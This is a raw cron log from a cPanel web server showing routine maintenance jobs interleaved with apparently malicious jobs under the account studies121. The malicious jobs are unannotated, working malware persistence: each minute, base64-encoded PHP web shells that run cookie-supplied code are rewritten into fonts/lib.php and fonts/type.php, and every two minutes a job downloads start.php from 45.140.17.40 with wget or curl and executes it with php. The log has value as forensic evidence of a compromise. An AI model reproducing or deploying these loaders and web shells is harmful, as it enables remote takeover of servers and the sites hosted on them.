Sep 20 08:39:01 ip-184-168-122-23 CROND[24657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:40:01 ip-184-168-122-23 CROND[24937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:40:01 ip-184-168-122-23 CROND[24944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:40:01 ip-184-168-122-23 CROND[24941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:40:01 ip-184-168-122-23 CROND[24940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:40:01 ip-184-168-122-23 CROND[24942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:40:01 ip-184-168-122-23 CROND[24945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 08:40:01 ip-184-168-122-23 CROND[24943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:40:01 ip-184-168-122-23 CROND[24939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:41:01 ip-184-168-122-23 CROND[25215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:41:01 ip-184-168-122-23 CROND[25212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:41:01 ip-184-168-122-23 CROND[25213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:41:01 ip-184-168-122-23 CROND[25216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:42:01 ip-184-168-122-23 CROND[25452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:42:01 ip-184-168-122-23 CROND[25451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:42:01 ip-184-168-122-23 CROND[25457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:42:01 ip-184-168-122-23 CROND[25455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:42:01 ip-184-168-122-23 CROND[25456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:43:01 ip-184-168-122-23 CROND[25695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:43:01 ip-184-168-122-23 CROND[25696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:43:01 ip-184-168-122-23 CROND[25697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:43:01 ip-184-168-122-23 CROND[25700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:44:01 ip-184-168-122-23 CROND[25949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:44:01 ip-184-168-122-23 CROND[25951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:44:01 ip-184-168-122-23 CROND[25952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:44:01 ip-184-168-122-23 CROND[25953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:44:01 ip-184-168-122-23 CROND[25954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:45:01 ip-184-168-122-23 CROND[26209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:45:01 ip-184-168-122-23 CROND[26211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:45:01 ip-184-168-122-23 CROND[26213]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 20 08:45:01 ip-184-168-122-23 CROND[26215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:45:01 ip-184-168-122-23 CROND[26212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:45:01 ip-184-168-122-23 CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:45:01 ip-184-168-122-23 CROND[26216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:46:01 ip-184-168-122-23 CROND[26476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:46:01 ip-184-168-122-23 CROND[26478]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 08:46:01 ip-184-168-122-23 CROND[26482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:46:01 ip-184-168-122-23 CROND[26481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:46:01 ip-184-168-122-23 CROND[26479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:46:01 ip-184-168-122-23 CROND[26480]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 08:46:01 ip-184-168-122-23 CROND[26483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:47:01 ip-184-168-122-23 CROND[26815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:47:01 ip-184-168-122-23 CROND[26817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:47:01 ip-184-168-122-23 CROND[26819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:47:01 ip-184-168-122-23 CROND[26820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:48:01 ip-184-168-122-23 CROND[27051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:48:01 ip-184-168-122-23 CROND[27053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:48:01 ip-184-168-122-23 CROND[27055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:48:01 ip-184-168-122-23 CROND[27056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:48:01 ip-184-168-122-23 CROND[27054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:49:01 ip-184-168-122-23 CROND[27322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:49:01 ip-184-168-122-23 CROND[27323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:49:01 ip-184-168-122-23 CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:49:01 ip-184-168-122-23 CROND[27324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:50:01 ip-184-168-122-23 CROND[27602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 08:50:01 ip-184-168-122-23 CROND[27605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:50:01 ip-184-168-122-23 CROND[27607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:50:01 ip-184-168-122-23 CROND[27609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:50:01 ip-184-168-122-23 CROND[27610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:50:01 ip-184-168-122-23 CROND[27612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:50:01 ip-184-168-122-23 CROND[27613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 08:50:01 ip-184-168-122-23 CROND[27619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:50:01 ip-184-168-122-23 CROND[27620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:51:01 ip-184-168-122-23 CROND[27907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
